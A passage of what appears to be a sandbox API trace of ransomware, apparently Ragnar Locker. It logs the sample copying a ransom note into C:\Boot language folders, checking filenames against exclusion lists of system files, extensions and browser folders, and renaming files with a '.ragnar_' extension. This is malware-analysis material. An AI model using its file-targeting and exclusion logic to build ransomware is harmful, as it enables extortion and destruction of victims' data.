returned="\\\\?\\C:\\Boot\\da-DK\\" [0047.247] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\da-DK\\" | out: lpString1="\\\\?\\C:\\Boot\\da-DK\\") returned="\\\\?\\C:\\Boot\\da-DK\\" [0047.247] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\da-DK\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\da-DK\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\da-DK\\RGNR_FD7BD9FC.txt" [0047.247] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\da-DK\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\da-dk\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.249] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\da-DK\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\da-DK\\*.*") returned="\\\\?\\C:\\Boot\\da-DK\\*.*" [0047.249] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\da-DK\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.249] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.249] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.249] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.249] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.249] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.249] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.249] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.249] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.249] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.249] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.249] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.249] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.249] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.250] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.250] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.250] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.250] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.250] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\da-DK\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.250] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.250] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.250] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.250] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.250] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.250] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.250] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.250] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.250] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.250] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0047.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.251] CloseHandle (hObject=0xffffffff) returned 0 [0047.251] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" [0047.251] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.251] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.252] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.252] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\da-DK\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.252] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.252] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\da-DK\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.252] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.252] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.252] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.252] FindNextFileW (in: hFindFile=0x5a1268, lpFindFileData=0x1ed850 | out: lpFindFileData=0x1ed850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2=".") returned 1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="..") returned 1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Windows") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Windows.old") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Tor browser") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Internet Explorer") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Google") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Opera") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Opera Software") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Mozilla") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="Mozilla Firefox") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="$Recycle.Bin") returned 1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="ProgramData") returned -1 [0047.252] lstrcmpiW (lpString1="de-DE", lpString2="All Users") returned 1 [0047.252] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\*.*", nBufferLength=0x104, lpBuffer=0x1ed648, lpFilePart=0x1edaf4 | out: lpBuffer="\\\\?\\C:\\Boot\\*.*", lpFilePart=0x1edaf4*="*.*") returned 0xf [0047.252] lstrcpyW (in: lpString1=0x1ed660, lpString2="de-DE" | out: lpString1="de-DE") returned="de-DE" [0047.252] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\de-DE", lpString2="\\" | out: lpString1="\\\\?\\C:\\Boot\\de-DE\\") returned="\\\\?\\C:\\Boot\\de-DE\\" [0047.252] lstrcpyW (in: lpString1=0x1ed43c, lpString2="\\\\?\\C:\\Boot\\de-DE\\" | out: lpString1="\\\\?\\C:\\Boot\\de-DE\\") returned="\\\\?\\C:\\Boot\\de-DE\\" [0047.252] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\de-DE\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Boot\\de-DE\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Boot\\de-DE\\RGNR_FD7BD9FC.txt" [0047.252] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Boot\\de-DE\\RGNR_FD7BD9FC.txt" (normalized: "c:\\boot\\de-de\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.254] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\de-DE\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Boot\\de-DE\\*.*") returned="\\\\?\\C:\\Boot\\de-DE\\*.*" [0047.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*.*", nBufferLength=0x104, lpBuffer=0x1ec75c, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\de-DE\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.254] lstrcpyW (in: lpString1=0x1ec554, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.254] lstrcpyW (in: lpString1=0x1ec780, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.255] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.255] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.255] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.255] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.255] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0047.255] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.255] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.255] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.255] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.255] FindClose (in: hFindFile=0x5a12a8 | out: hFindFile=0x5a12a8) returned 1 [0047.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*.*", lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12a8 [0047.255] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e684320, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.255] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.255] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\de-DE\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.255] lstrcpyW (in: lpString1=0x1ecb94, lpString2="bootmgr.exe.mui" | out: lpString1="bootmgr.exe.mui") returned="bootmgr.exe.mui" [0047.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootfont.bin") returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr.efi") returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgfw.efi") returned 1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0047.255] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0047.256] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0047.256] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0047.256] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0047.256] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.ini") returned -1 [0047.256] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0047.256] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0047.256] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0047.256] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0047.256] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0047.256] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0047.256] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0047.256] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0047.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0047.256] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0047.256] CloseHandle (hObject=0xffffffff) returned 0 [0047.256] lstrcpyW (in: lpString1=0x1ec090, lpString2="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" | out: lpString1="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" [0047.256] lstrcatW (in: lpString1="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.ragnar_FD7BD9FC" [0047.256] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), lpNewFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0047.256] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e684320, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6e684320, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.256] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Boot\\de-DE\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x15 [0047.256] lstrcpyW (in: lpString1=0x1ecb94, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.256] PathFindExtensionW (pszPath="\\\\?\\C:\\Boot\\de-DE\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.256] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.256] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: 